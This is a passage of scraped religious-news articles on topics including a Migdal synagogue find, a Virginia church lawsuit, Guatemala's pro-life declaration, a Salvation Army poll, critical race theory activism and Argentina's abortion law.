Authority and lies less than 200 meters away from the first synagogue. The IAA statement states that the discovery of the second synagogue is changing our understanding of Jewish life in this period, IAA stated. We can imagine Mary Magdalene and her family coming to the synagogue here, along with other residents of Migdal, to participate in religious and communal events, excavation co-director Avshalom-Gorni told the Israeli newspaper Haaretz. The discovery was made amid a plan to build new infrastructure in the town of Migdal. But while the areas were being excavated a typical practice in advance of construction the second synagogue was discovered by the IAA, Y.G. Contractual and the University of Haifa. Avshalom-Gorni told the newspaper that the first synagogue had a decorative mosaic floor and the second one had a compacted, plastered and earthen floor. The second synagogue is said to be smaller and not as ornate as the first. The first synagogue was in an industrial area, while the second was located in a residential street, which suggests they were built within the social fabric of the settlement, Avshalom-Gorni told The Times of Israel. The Times of Israel reports that the second synagogue consisted of the main hall and two side rooms. A stone bench was also recovered. Archeologists found bases for two of the buildings six pillars that held up the roof. The walls of the synagogue were colorfully decorated and covered in plaster. Archeologists believe that a room at the south end of the main hall with a shelf may have stored scrolls. Circuit court rejects church's lawsuit against Virginia COVID-19 worship restrictions Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A three-judge panel of the 4th U.S. Circuit Court of Appeals has rejected a church's lawsuit against Virginias 2020 COVID-19 lockdown rules that restricted in-person worship, labeling the matter moot since the restrictions were lifted. In a unanimous decision released Tuesday, the panel concluded that since the specific lockdown orders in question put in place by Virginia Gov. Ralph Northam were ended in June 2020 and the state of emergency for Virginia ended in July, the lawsuit filed by Lighthouse Fellowship Church in Chincoteague is moot. Lighthouse Fellowship Church and Pastor Kevin Wilson sued Northam over the legality of executive orders that restricted in-person worship during the pandemic lockdowns. Judge Robert King, the author of the panel opinion, wrote that he believed no live controversy exists despite the claims of the church that the restrictions could always return. [I]t is entirely speculative to assert that Governor Northam will declare a new state of emergency in Virginia and reinstate restrictions on religious exercise that have not been in place for more than a year, wrote King. Lighthouses contention implies that, absent a change in Virginia law that would limit the Governors emergency powers, this controversy remains live. We decline to rule that such a change in Virginia law is necessary to moot this dispute. A specific issue in the case is an April 5, 2020 worship service attended by 16 people, which went against the state order limiting in-person religious gatherings to no more than 10 people. Following the service, Wilson was cited by authorities and faced the possibility of a fine or even jail. The state's prosecution of the worship service drew condemnation from then-Vice President Mike Pence. The charges against Wilson were dropped in July 2020. Mat Staver of the Liberty Counsel, a conservative Christian legal nonprofit representing Lighthouse Church, released a statement at the time denouncing the gathering restriction as a clear example of discrimination. Governor Ralph Northam has clearly discriminated against Lighthouse Fellowship Church which provides essential physical, emotional and spiritual services to the community, stated Staver. We must balance the First Amendment with protecting the health and welfare of people but picking an arbitrary number of 10 people for every church is not the answer. U.S. District Court Judge Arenda L. Wright Allen, an Obama appointee, ruled against Lighthouse in late January, concluding that the lawsuit is moot and that the governor was immune from prosecution. There is no ongoing violation of federal law in this case. The Orders on which Plaintiff bases its Complaint are no longer in effect, wrote Allen. The Court finds that Governor Northam is immune under the Eleventh Amendment to Plaintiffs state statutory and state constitutional claims. Plaintiffs remaining claims are dismissed. Liberty Counsel argued that Northam should not be immune in this case. Governor Ralph Northam is not immune as the defendant in this lawsuit regarding his unconstitutional COVID executive orders," Staver said in October. "The governor issued and enforced his illegal orders and cannot now escape responsibility. Guatemala's president declares his country will become Latin America's pro-life capital Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The President of Guatemala has declared that his country will officially become the pro-life capital of Latin America early next year. Guatemalan President Alejandro Giammattei announced his intention to make Guatemala Latin Americas pro-life capital during a speech at the Willard Hotel in Washington, D.C., last week. Giammattei delivered remarks at an event hosted by the Institute for Womens Health, a pro-life organization founded by former Trump administration Department of Health and Human Services official Valerie Huber, and the International Human Rights Group. As noted in a statement from the Institute for Womens Health, Giammattei was not invited to President Joe Bidens Democracy Summit, where leaders from the worlds democracies gathered: Guatemala was not invited to take part in the Summit, despite being a democratic nation. Alfonso Aguilar, president of the International Human Rights Group, suggested that ideological differences were likely a significant reason for the countrys omission, since Guatemala is unapologetically pro-life. ***PRESS RELEASE*** Guatemalan President not invited to Biden Democracy Summit, instead offers pro-life keynote at Institute for Womens Health, International Human Rights Group gathering pic.twitter.com/srpgn66jFC The Institute for Women's Health (@IWH4women) December 9, 2021 In his speech at the Institute for Womens Health event, Giammattei elaborated on his passion for the pro-life movement and announced that Guatemala would be declared the pro-life capital of Ibero-America on Mar. 9, 2022: Every individual deserves to have their lives protected, from conception to natural death. It is totally false that abortion is a human right. Any effort to try to impose abortion in a country is undue interference in international affairs. We seek to protect life and to prevent interference, he added. We do not approve of abortion because of my faith but also my profession as a medical doctor. Life should be protected from conception. Speaking to Evangelico Digital, Aaron Lara, president of the Ibero-American Congress for Life and Family that pushed for Guatemala to become the pro-life capital of Latin America, reported that President Alejandro Giammattei has made public the date of the declaration of Guatemala as the Pro-Life Capital of Ibero-America that the Ibero-American Congress will do, together with the unveiling of a monument which will mark this fact in history. Guatemalas impending recognition as the pro-life capital of Latin America comes as the nation has made multiple moves to support the pro-life movement. Last year, Guatemala bowed out of an agreement that allowed Planned Parenthood to operate in the country after Giammattei expressed concerns about the organizations stance on abortion. Upon reversing the agreement made by Guatemalas interior minister at the time, Giammattei declared that I will not endorse in my administration the creation, registration or start-up of any organization that goes against life. Earlier this year, Guatemala joined the Geneva Consensus Declaration on Promoting Womens Health and Strengthening the Family, a document signed by nearly three dozen countries worldwide declaring that there is no international right to abortion. The adherence of Guatemala today to the Geneva Consensus is a clear message to the international community that there are many countries that recognize that there is a fundamental right, a human right, to life that must be guaranteed and defended and that any claim that there is already an international consensus in favor of abortion, as some sadly allege, it is totally false, Giammattei proclaimed at the ceremony where he signed the Geneva Consensus. Pres. @DrGiammattei: "Any effort to try to impose abortion on a country is undue interference in its internal affairs... We will collaborate at the international level so that the sovereignty of our countries... [is] respected." #GenevaConsensusDeclarationhttps://t.co/0HIJ3tcyUl The Institute for Women's Health (@IWH4women) December 7, 2021 Additionally, Giammattei slammed the fact that efforts to promote abortion are often made in the name of defending human rights, which he characterized as absurd. He added, Without a legal, anthropological or scientific basis, some currents of thought make supposed rights, which are nothing other than the denial of the true inherent rights of the person. While the United States originally signed on to the Declaration when it was first introduced during the latter part of the Trump administration, President Joe Biden told United Nations ambassadors that the U.S. hereby discontinues our participation in the Geneva Consensus Declaration shortly after taking office. During the summer, Giammattei spearheaded the Public Policy for the Protection of Life and the Institutionality of the Family 2021-2032. The initiative seeks to advance policies designed to attend to the immediate needs of protection of life from its conception, early childhood, childhood, adolescence, youth, adulthood and older adulthood to protect the family as the basic unit of society. More Americans view Salvation Army unfavorably after racial discussion guide controversy, poll finds Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The Salvation Armys publishing of a Lets Talk About Racism discussion guide has taken a toll on its perception among Americans and potential donors, the results of a new poll suggest. A survey of 1,200 registered voters conducted by Rasmussen Reports and RMG Research on behalf of the advocacy group Color Us United asked voters about their perception of the Salvation Army after learning that the Christian charity published a document called Lets Talk About Racism. The Salvation Army is one of the most well-known Christian charities globally and pulled the document after blowback. Lets Talk About Racism was once billed by the charity as a resource guide developed to guide The Salvation Army family in gracious discussions about overcoming the damage racism has inflicted upon our world. The document described itself as a voluntary discussion guide provided through the International Social Justice Commission. The guide was not intended to stand as a position or policy statement. Critics of the document, including Color Us United, a national campaign to advocate for a raceblind America, alleged that the guide promoted the controversial topic of critical race theory. The resource listed works by proponents of the controversial framework as recommended readings. The Rasmussen survey, which questioned respondents between Dec. 6 and Dec. 8, also asked respondents for their views on the Salvation Army before informing them of the Lets Talk About Racism document. Eighty-one percent of respondents had either a very favorable or somewhat favorable view of the Salvation Army before learning about the Lets Talk About Racism initiative. In contrast, just 11% had a somewhat unfavorable or very unfavorable opinion of the charity. Respondents were then told that [t]his year, the Salvation Armys training materials ask their white members to consider repenting for the sin of racism and that [t]he charitys new Diversity, Equity, and Inclusion program presents the view that America is a structurally racist society. The survey asked respondents if they were more or less likely to donate to the Salvation Army after learning that information. Upon learning about Lets Talk About Racism, 32% of those surveyed said that they were either much less likely or somewhat less likely to donate to the Salvation Army. An additional 32% stated that they were much more likely or somewhat more likely to donate to the charity. Twenty-eight percent maintained that the Lets Talk About Racism initiative would have no impact on whether they would contribute to the Salvation Army. The poll asked respondents to re-evaluate their opinion of the charity knowing that the Salvation Army is training members in the belief that America is a structurally racist society. The share of voters who viewed the Salvation Army as very favorable or somewhat favorable dropped from 81% to 41%. The percentage of respondents who had a somewhat unfavorable or very unfavorable view of the Salvation Army increased to 41% from 11%. Color Us United created a petition opposing the insertion of politically charged racial ideologies into The Salvation Armys good work. As of Wednesday morning, the petition gathered 16,800 signatures out of a goal of 25,000. The petition called for a revocation of the Lets Talk About Racism guide. The Salvation Army issued a statement last week declaring that [e]lements of the recently issued Lets Talk About Racism guide led some to believe we think they should apologize for the color of their skin, or that The Salvation Army may have abandoned its Biblical beliefs for another philosophy or ideology. The charity indicated that was never our intention and removed the guide for appropriate review. Color Us United contends that the Salvation Army needs to go further and explicitly denounce critical race theory by formally proclaiming that America is not a racist country. While Salvation Army Commissioner Kenneth Hodder assured donors in a short video that the organization endorses no social theory or philosophy and never will, Color Us United President Kenny Xu pushed back on that assertion in a statement to media outlets Tuesday. Salvation Army says were not going to stand on a political side; were neither left nor right, etc., etc., Xu said. This is not a political statement. In fact, this is the least political statement you could possibly make. The previous statement you made was political. Xu described aspects of the Lets Talk About Racism curriculum as a political statement. For you to actually say that youre not going to be political means that you need to actually say a statement reversing what you originally said, Xu believes. Color Us United started a digital campaign asking the Salvation Army to #JustSayIt and denounce the central idea of critical race theory. The campaign is targeting anybody who likes the page Salvation Army. In an interview with CBN News, Hodder explained that because that document was causing confusion amongst our people and externally, well put something up in the future that is closely aligned with that mission statement that I referred to earlier. Specifically, Hodder characterized the mission of the Salvation Army as preaching the Gospel of Jesus Christ and meet human needs in His name without discrimination. Noting that the Christmas season is a season of forgiveness and generosity, Xu told the Salvation Army, if youre going to win back your donors, you must do it now. You must do it before Christmas, during this holiday season because that will be an example to so many other organizations in the country that dare tread the waters of wokeness, he added. Xu alleged that in addition to donors, local chapters of the Salvation Army oppose the Lets Talk About Racism campaign. The activist recalled a conversation he had with a Delaware-based Salvation Army officer on the radio who remarked that local chapters dont really believe in this stuff. Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The Supreme Court has, deservedly, received a lot of attention after oral arguments took place in Dobbs v. Jackson Women's Health, a case that could mean the end of Roe v. Wade. But a different case over religious freedom and school choice programs could be just as significant and, like Dobbs, is giving the left heartburn. After the Court heard oral arguments Wednesday in Carson v. Makin, a headline at the Atlantic reads "The Sleeper SCOTUS Case That Threatens the Separation of Church and State." Ian Millhiser at VOX laments that "The Supreme Court appears really eager to force taxpayers to fund religious education." The case involves a Maine law that allows students who live in areas that do not have a secondary school to attend private schools using the tax dollars that would otherwise be spent at a public school. However, the program is only available to schools that are "nonsectarian" that is, they do not have religious instruction. The plaintiffs in this lawsuit claim that excluding schools because they provide religious instruction is discrimination on the basis of religion and it appears a majority of the Supreme Court may agree. In a 2020 case called Espinoza v. Montana Department of Education, the Court held that religious organizations could not be excluded from school choice programs because they are religious organizations, but the Carson case considers the even narrower question of whether a religious organization can be excluded because they provide religious instruction. The issue in this case was highlighted by a hypothetical involving two religious schools posed by Chief Justice Roberts. If two schools both claimed to be religious but only one was obligated by its faith to educate students in its faith, would they receive equal treatment? Christopher Taub, the attorney for Maine, responded that the school that did not teach its religion would be eligible while the school that did teach its religion would not be eligible. Justice Roberts responded by suggesting he believed that would violate the constitution when it said it is "the most basic violation" of the Constitution "for governments to draw distinctions between religions based on their doctrines." Mr. Taub also acknowledged, in response to questions from Justice Alito, that a Universalist Unitarian Church school would likely be eligible for the program because their "religious" instruction is effectively secular. Justice Alito, in response to the admission that the law would not treat Catholic, Orthodox Jewish, or Unitarian Universalist churches similarly, said "I think you've got a problem." Justices also expressed concern about the possibility that state officials would become involved in examining a religious school's curriculum to determine if they were eligible for the program. Maine argued the program does not discriminate but simply carries out the state's obligation of providing a "religiously neutral" education. Justices Kagan and Sotomayor also noted that the small number of people affected by this program did not justify opening up public funds for religious education broadly. But those arguments did not appear to satisfy the concerns of the conservative justices on the court that the program treated religious schools differently based on their particular beliefs. This case is significant for Christians because, should the court find that it is unconstitutional to exclude schools that provide religious instruction from school choice programs, every Christian school in the 21 states with school choice programs would become options for families. In addition, the fact that Christians schools would become one of the options if a school choice program was created should create even more interest in school choice legislation. A growing dissatisfaction with public education has prompted a rise in school choice legislation. In 2021 alone, 13 states have created five new programs and expanded 13 existing programs. This is likely just the beginning. If a child goes through a typical school schedule, between kindergarten and 12th grade they will spend 16,000 hours in a classroom. A good decision in this case which appears likely will dramatically increase the chances that, for millions of children, those 16,000 hours will be invested in environments that teach truth, beauty, and goodness rather than whatever it is that's happening in public schools these days. Of course, that will require churches to get serious about education and make sure the children in their congregations have viable alternatives to whatever it is that's happening in public schools these days. Hopefully we are up to the task; the future of our country could depend on it. Originally published at the Family Research Council. Scottish charity to pay $26K for unlawfully canceling BGEA, church event bookings Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A Scottish charity, which had canceled bookings made by a local church and the Billy Graham Evangelistic Association for its conference center, has apologized for violating the United Kingdoms Equality Act as part of a legal settlement. The Robertson Trust has apologized to the BGEA and Stirling Free Church for the cancellation of 2019 bookings to use its conference center in Stirling, Scotland, for religious events and agreed to pay both entities a total of 20,000 (about $26,500) towards legal expenses. Mark Batho, chair of the board of trustees at The Robertson Trust, said in a statement that the organization had inadvertently breached the Equality Act 2010. The Trusts long standing funding policy (1) legitimately states that we do not fund or support the promotion of any particular religious or political beliefs, Batho said. We recognise that in applying our funding policy to the hire of our facilities, which are available at substantially subsidised rates to charities and community groups, we inadvertently breached the Equality Act 2010. Iain Macaskill, the minister of Stirling Free Church, said in a statement shared by the Christian Institute, the legal group representing the two organizations, that it is against the law to advertise a venue as being available to all-comers but cancel the contract simply because the booking is for a religious event. Christians have the same legal rights as everyone else and the outcome of this case affirms that, Macaskill said. In a statement shared by the BGEA, Billy Grahams son, Franklin Graham, said the resolution of the case sends a clear message that religious freedom isnt dead. The Trusts Barracks Conference Center was among several venues in the U.K. that had canceled events scheduled to start last May by Franklin Graham, who heads the BGEA. They cited objections to his views on homosexuality due to pressure from LGBT groups. I have been surprised Im not coming to speak against anybody and I dont name any groups of people, Graham told Christian Today at the time. Im coming to tell people how they can have a relationship with God through faith in Jesus Christ. Last month, the BGEA announced its rescheduled U.K. tour from May 14 through July 16. Even through these unprecedented circumstances, BGEA has remained committed to the goal of proclaiming the Good News of Jesus Christ. We are profoundly grateful for the thousands of churches of various denominations across the U.K. that have stood alongside us and continued praying for the tour, the group said on its website. Graham said: We want all people to know that God loves them and everlasting life is available to anyone. This remains the purpose for every BGEA event, and it is why we have named the rescheduled tour the God Loves You Tour UK. Last February, Glasgow Sheriff Court had asked the Scottish Event Campus why it canceled the BGEA event. Susan Aitken, Glasgow City Council leader, had said that the way Graham expresses his views could, I believe, fundamentally breach the councils statutory equalities duties. She pointed out that in 2016, Graham accused LGBT activists of trying to cram down Americas throat the lie that homosexuality is OK. This is ultimately about whether the Scottish Event Campus will discriminate against the religious beliefs of Christians, Graham said at the time, according to Glasgow Times. More than 330 churches in the Glasgow area alone support this evangelistic outreach and their voices are being silenced. This case has wide-reaching ramifications for religious freedom and democracy in the U.K. and Europe. 31% of Americans experience loneliness daily; 1 in 5 practicing Christians say the same: study Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Loneliness is being experienced by 31% of U.S. adults daily and Christians arent doing much better, new research from the Barna Group suggests. Data for the research done in partnership with behavioral scientist Susan Mettes and the evangelical polling firm Barna was collected through online surveys from 1,003 U.S. adults from Feb. 18 to March 2, 2020, and 1,000 U.S. adults from April 28 to May 5, 2020. The data is highlighted in Mettes new book, The Loneliness Epidemic, and examines rates of loneliness, both across the nation and within the Church. Described by the U.S. Centers for Disease Control and Prevention as the feeling of being alone, regardless of the amount of social contact, loneliness is linked to poorer health outcomes. In [this] academic research, loneliness is the distress someone feels when their social connections dont meet their need for emotional intimacy, Mettes explains. Its lack, its disappointment, its something we are conscious of, even when we dont call it loneliness. Loneliness is a thirst that drives us to seek companionship or, perhaps better, fellowship. Without fellowship, we go on needing others and seeking relief for that need. The study found that three in 10 U.S. adults experience loneliness at least once daily, and such a feeling usually comes with pain. For U.S. adults who experienced loneliness at least once within the past week, more than 40% of that group said the feelings of loneliness ranged from intense to unbearable. These numbers give us a snapshot of loneliness. What they dont reveal is for whom loneliness is a long-term, chronic condition. The chronic version of loneliness is more damaging, Mettes stated. Those whose loneliness is constant and chronic have likely experienced how loneliness can chip away at health and quality of life. A 2020 report from the National Academies of Sciences, Engineering, and Medicine says seniors experiencing social isolation or loneliness may face a higher risk of mortality, heart disease and depression. Loneliness and social isolation arent just social issues they can also affect a persons physical and mental health, and the fabric of communities, Dan Blazer, a professor of community and family medicine at Duke University who chaired the commission that published the report, said in a statement. Addressing social isolation and loneliness is often the entry point for meeting seniors other social needs like food, housing, and transportation. A survey conducted by researchers from the Harvard Graduate School of Education project Making Caring Common found that 36% of about 950 respondents in the national poll conducted in late October 2020 reported feeling lonely frequently or almost all the time or all the time in the prior four weeks. Some 61% of respondents aged 18-25 reported substantial degrees of loneliness. These levels of loneliness are heartbreaking. We have big holes in our social fabric, said the reports lead author and Making Caring Common faculty director Richard Weissbourd, a senior lecturer at the Harvard Graduate School of Education and the Harvard Kennedy School. We need to mobilize coherently and strategically to assure that far fewer Americans are stranded and disconnected. Barna compared the rate of loneliness in the Church with the rate of loneliness in the general population and found little difference. U.S. churchgoers reported similar levels of loneliness as their non-churchgoing peers, with both groups closely aligned with the average Barna found. Looking at committed faith practice, practicing Christians those who identify as Christian, agree strongly that faith is very important in their lives and have attended church within the past month do show a slight decrease in how often they feel lonely, when compared to churched adults and the general population, Barna noted. However, a notable one in five (20%) still feels lonely at least once each day, with 10 percent being lonely all the time. The Barna study suggests that churchgoers who experience loneliness are more likely than non-churchgoing adults to describe more severe feelings of loneliness, while practicing Christians reported less painful feelings of loneliness. When it comes to painful feelings associated with loneliness, 48% of churchgoers who experienced loneliness at least once in the past week said they had more severe feelings of loneliness compared to 39% of non-churchgoing adults who said the same. Some 35% of practicing Christians had similar feelings. Researchers also found that practicing Christians were more likely than other groups to stigmatize loneliness as always bad, indicating less willingness to discuss the issue in a church context. There is a real danger of letting positive psychology hijack the Churchs real purpose, Mettes said. It is because of what the Christian faith teaches that Christians do so many things that are good for loneliness (i.e. group singing, community service, meeting in person). But confronting loneliness isnt an ultimate goal. In the taxonomy of church priorities, it is a subcategory of loving your neighbor. Parents, activists pushing back against critical race theory's 'destructive message' in America's school Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment As the debate about critical race theory continues to engulf the political discourse in the United States, grassroots organizations and activists rely on a variety of methods to combat "woke" ideologys influence on American education and counter what they characterize as a destructive message. Over the past year, parents have become increasingly aware of content that their children have been exposed to in public, private and religious schools, as the coronavirus pandemic led to the widespread adoption of online learning. The implementation of critical theory and elements of what they call woke ideology in the curriculum of American schools has caused some parents and conservative activists particular concern. It's also led to several conservative politicians voicing their outrage with the promotion of the academic framework, and some states to pass policies banning its teaching in schools. American schools embrace of critical theory, controversial sex education, gender ideology, sexually explicit teaching material and other woke curriculums has led many parents and concerned citizens to launch advocacy groups committed to raising awareness about the situation in American education and providing parents with the tools to combat it. It has also led to the launch of political action committees seeking to elect school board candidates who oppose critical race theory. One group is Parents Defending Education, which describes itself as a national grassroots organization working to reclaim our schools from activists promoting harmful agendas. By the time students are 18 years old and they get to college they have never received a proper civics education, they hate America, they dont understand the First Amendment, Nicole Neily, the mother of two who founded Parents Defending Education this past March, told The Christian Post. So, if the first time you hear free speech or First Amendment is this is why [white nationalist] Richard Spencer can come to campus, then yeah, youre going to hate it. Previously having run an organization called Speech First that defends students rights on campus primarily through litigation, Neily said that she was inspired to launch Parents Defending Education after seeing news articles about how some schools were providing benefits to minority groups and discriminating against white students in the name of diversity. Parents Defending Education has compiled an "IndoctriNation" map of schools teaching students controversial curriculum based on tips from parents that also includes a directory of parent groups set up to combat woke ideology within public schools. She clarified that the map does not include hearsay. Everything is backed up with a screenshot, a URL a Freedom of Information Act request, Neily stated. We asked the schools for comment. We asked the schools to verify that the information is correct. We are only putting up information that we stand behind. We have on our map about 100 parent groups across the country that have been created mostly within the past year, specifically to address political indoctrination in schools not math, not reopening, not school choice, specifically political indoctrination, Neily explained. Among the concerns that Neily has with woke curriculums is the promotion of critical race theory. I honestly dont think [critical race theory] should be banned, Neily told CP. When I did my masters degree, I had to read Karl Marx. Where I have a problem is when [critical race theory] is taught to students as the only way, she said. How some of these things are implemented, I think it encourages discrimination. What is critical race theory? Encyclopedia Britannica defines critical race theory as an intellectual movement and loosely organized framework of legal analysis based on the premise that race is not a natural, biologically grounded feature of physically distinct subgroups of human beings but a socially constructed (culturally invented) category that is used to oppress and exploit people of colour. According to the reference source, critical race theorists hold that the law and legal institutions in the United States are inherently racist insofar as they function to create and maintain social, economic, and political inequalities between whites and nonwhites, especially African Americans. Proponents of critical race theory, such as those at the New York-based Leadership Academy, argue that the steadfast opposition to the ideology arises from fear and misunderstanding. The organization trains educators on how to dismantle systemic inequities in schools. Critical race theory, at its core, is about acknowledging the existence and impact of race and racism in our communities and society, wrote the Leadership Academys Mary Rice-Boothe and Jill Grossman. It is about valuing multiple points of view and life experiences, which are essential for helping students learn to think critically about and participate in our global and diverse world. The scholars alleged that critical race theory is central to culturally responsive leadership, which research and our experience supporting thousands of leaders across the country has shown is critical for disrupting inequities in our schools. Additionally, they stated that equity and culturally responsive policies and teaching practices are about making sure students of every race, ethnicity, language, and other characteristics of their identity, feel valued and respected and have what they need to achieve academic, social, and emotional success. Rice-Boothe and Grossman summarized critical race theory as simply about humanity. The most prominent example of curriculum embracing critical race theory is The 1619 Project, a partnership between The New York Times and the Pulitzer Center that portrays the arrival of enslaved Africans on American soil in 1619 as the beginning of the system of slavery on which the country was built. Launched in 2019, the curriculum framework places the institution of slavery at the center of the national narrative around the country's founding instead of 1776 and the American Revolution. Christopher Rufo, a writer, filmmaker and researcher who has studied the issue extensively, defines critical race theory as an academic discipline that holds that the United States is a nation founded on white supremacy and oppression and that these forces are still at the root of our society. Rufo, an outspoken opponent of critical race theory, added that critical race theorists believe that American institutions, such as the Constitution and legal system, preach freedom and equality, but are mere camoflauges for racial discrimination. According to Rufo, adherents to critical race theory believe that racism is a constant, universal condition that simply becomes more subtle, sophisticated, and insidious over the course of history. He characterized the discipline as a reformulation of the old Marxist dichotomy of oppressor and oppressed, replacing the class categories of bourgeoisie and proletariat with the identity categories of white and black. James Lindsay, who hosts the New Discourses podcast, elaborated on critical race theory in a video for the nonprofit media organization Prager University. An opponent of critical race theory, he quoted from two of its proponents, Richard Delgado and Jean Stefancic, in an attempt to portray the philosophy as un-American: Critical Race Theory questions the very foundations of the liberal order, including equality theory, legal reasoning, enlightenment rationalism, and the neutral principles of constitutional law. NEA embraces CRT as the public remains lukewarm Earlier this month, Rufo reported that the nations largest teachers union has approved a plan to promote critical race theory in all 50 states and 14,000 local school districts. He shared screenshots showing that the National Education Association approved New Business Item 39 at its annual meeting and representative assembly two weeks ago. New Business Item 39 calls on the NEA to make it clear that we oppose attempts to ban critical race theory and/or The 1619 Project." The measure advocates for the publication of an already-created, in-depth, study that critiques empire, white supremacy, anti-Blackness, anti-Indigeneity, racism, patriarchy, racism, cisheteropatriarchy, capitalism, ableism, anthropocentrism, and other forms of power and oppression at the intersections of our society. The item also indicated an intention for the union to double down on its support for an accurate and honest teaching of social studies topics including critical race theory. It also signaled an intent to join with Black Lives Matter at School to create a national day of action to teach lessons about structural racism and oppression and conduct a virtual listening tour that will educate members on the tools and resources needed to defend honesty in education including but not limited to tools like CRT. While critical race theory has achieved a lot of support in academia, it remains very unpopular with the American public as a whole. A poll released last month found that 38% of Americans had a very or somewhat favorable opinion of the ideology. In comparison, 58% had a very or somewhat unfavorable view of critical race theory. Majorities of Democrats, liberals, African Americans and Americans between the ages of 30 and 44 viewed critical race theory favorably, while majorities of all other groups hold the opposite views. The teaching of critical race theory at American schools is part of a broader trend of educational institutions embracing what critics refer to as toxic new curriculums. Parents across the country have spoken out in opposition to these curriculums, with parent opposition in Loudoun County, Virginia, a suburb of Washington, D.C., receiving much media attention. At a school board meeting earlier this year, concerned parents read aloud texts that the countys children were exposed to in freshman honors English classes that included portrayals of domestic violence and graphic descriptions of sex acts. A video of the parents reading excerpts from the books, published by the grassroots organization Fight for Schools, has received more than 150,000 views [Warning: video contains graphic and sexually explicit language]. It is in everyones backyard Neily told CP that in addition to spotlighting groups of concerned parents and schools exposing children to material widely seen as problematic, she sees the mission of Parents Defending Education as seeking to empower, expose and engage. The activist hopes to empower American parents by [telling] people what their rights are if their children attend a public school, specifically mentioning the First Amendment, Title VII and Title IX. She illustrated that while students have rights at public schools, they generally do not have the same rights at private schools. Neily hopes to get parents engaged in their childrens education and equip them with the tools needed to share their concerns, such as How do you write a letter to the editor?" "What are questions to ask your school board?" "How do you get involved in a school board race?" "How do you file a Freedom of Information Act request?" "How do you file a complaint with the Office of Civil Rights at the Department of Education?" Expanding on her organizations goal to expose, Neily stressed that she's "very much a believer in the saying that 'sunshine is the best disinfectant.' She illustrated the need to make American parents aware of what their children are learning at school. A lot of this has been happening. People have no idea its in their backyard," she explained. "Many people believe that this problem is like primarily a California and a New York problem. It is not. It is in red states. It is in blue states. It is in private schools. It is in parochial schools. It is in everyones backyard. Neily said that during the pandemic, American parents "saw what their children were learning on a regular basis because classrooms were then in their living rooms. She called that the silver lining of the coronavirus pandemic. She recalled how finding out what their children were learning motivated parents to reach out to her and ask, How do we get the schools to listen to us? and What can we do? The activist said an action taken by the public school system in Wellesley, Massachusetts, earlier this year is the worst example of woke ideology. Following the shooting at Atlanta-area spas that left several Asian masseuses dead, the school district held a healing space for Asians and people of color during school hours, with the invitation for the event specifically highlighting that white students [were] not allowed. Characterizing the event as modern-day segregation, Neilys organization filed a complaint with the Office of Civil Rights with the U.S. Department of Education, citing the landmark 1954 Supreme Court case Brown v. Board of Education, which ruled school segregation unconstitutional. 1 2 Next Argentina passes abortion bill despite resistance from evangelicals, Catholics Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Despite fervent opposition from the nation's evangelical Christians and Roman Catholics, the national government of Argentina voted to allow elective abortion before 14 weeks gestation. In an early morning Wednesday vote, the Senate in the South American country voted 38-29 to pass a measure previously approved by the Chamber of Deputies, according to the BBC. Reacting to its passage on Twitter, Argentine President Alberto Fernandez wrote: "Safe, legal, and free abortion is law." "Today we are a better society that expands rights to women and guarantees public health," he added. Fernandez has promised to sign the legislation. The vote comes after an unsuccessful attempt to legalize abortion in 2018 when the Senate rejected a similar measure. Until now, abortion was only available in Argentina in the event of a rape or if the mother's life was in jeopardy as a result of the pregnancy. Supporters of the bill are hailing it as a positive human rights development, especially that it happened in Latin America long considered a culturally conservative country where the Roman Catholic Church and a growing evangelical Christian population has considerable sway over society and that it portends a future trend in the region. According to France24 Sunday, though Catholicism remains a force in Argentina, evangelicals have emerged to the front lines in the fight against abortion legalization since 2018. Sociologist Fortunato Mallimaci told the outlet that evangelical Christians "have the momentum of the reborn." During recent street protests in Buenos Aires, evangelicals waved blue handkerchiefs in contrast to the green ones abortion rights supporters waved. Argentina is the home of Pope Francis, who had previously likened abortion to hiring an assassin but who stayed quiet in the current debate though he tweeted, hours before the Senate debate began Tuesday, that "the Son of God was born an outcast, in order to tell us that every outcast is a child of God. He came into the world as each child comes into the world, weak and vulnerable, so that we can learn to accept our weaknesses with tender love. After the vote, the group Pro-Life Unity said the date of the bill's passage would be remembered as one of the most macabre days in recent history. Similarly, the Roman Catholic bishops' conference in Buenos Aires said in a statement that the legislation "will deepen even further the divisions in our country" and lamented that the nation's leadership was distant from how most of the nation feels about abortion. The Argentine bill permits private medical institutions and health professionals to opt out of performing an abortion procedure but they will have to refer the woman to another medical center. The vice president of Argentina, Kristina Fernandez de Kirchner, who served as president from 2007 to 2015, presided over the vote and said she was persuaded to change her mind about abortion, having opposed its legalization as president. The push to legalize the practice was helped along by the "piba" revolution in recent years; piba is Argentine slang for "girls." Opinion polling throughout the nation also showed opposition to abortion had decreased. Catholic diocese apologizes after bishop tells kids Santa doesn't exist Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A Roman Catholic diocese in Europe has issued an apology after its bishop told a group of children a couple of weeks before Christmas that Santa Claus does not exist. The Diocese of Noto, based in Sicily, issued a statement on social media apologizing for the words of Bishop Antonio Stagliano. At a recent religious festival called the Feast of Saint Nicholas, Stagliano told a group of children that Santa did not exist and that his red outfit was created to help market Coca-Cola drinks. First of all, on behalf of the bishop, I express my sorrow for this declaration which has created disappointment in the little ones, and want to specify that Monsignor Staglianos intentions were quite different, diocesan spokesman The Rev. Alessandro Paolino said in a post shared on the diocese's Facebook page. He stated that the diocese certainly must not demolish the imagination of children, but draw good examples from it that are positive for life. Santa Claus is an effective image to convey the importance of giving, generosity, sharing. But when this image loses its meaning, you see Santa Claus aka consumerism, the desire to own, buy, buy and buy again, then you have to revalue it by giving it a new meaning, Paolino said. The bishop intended to stress to children that they should be focusing on the true meaning of Christmas the birth of Jesus Christ and highlight the story of St. Nicholas, a bishop who lived during the late 200s and early 300s and gave gifts to the poor. In a statement released by the diocese, Stagliano declared that he didnt tell the kids that Santa doesnt exist, but we talked about the need to distinguish whats real from whats not. So I gave the example of Saint Nicholas of Myra, a saint who brought gifts to the poor, not gifts, he stated. In the 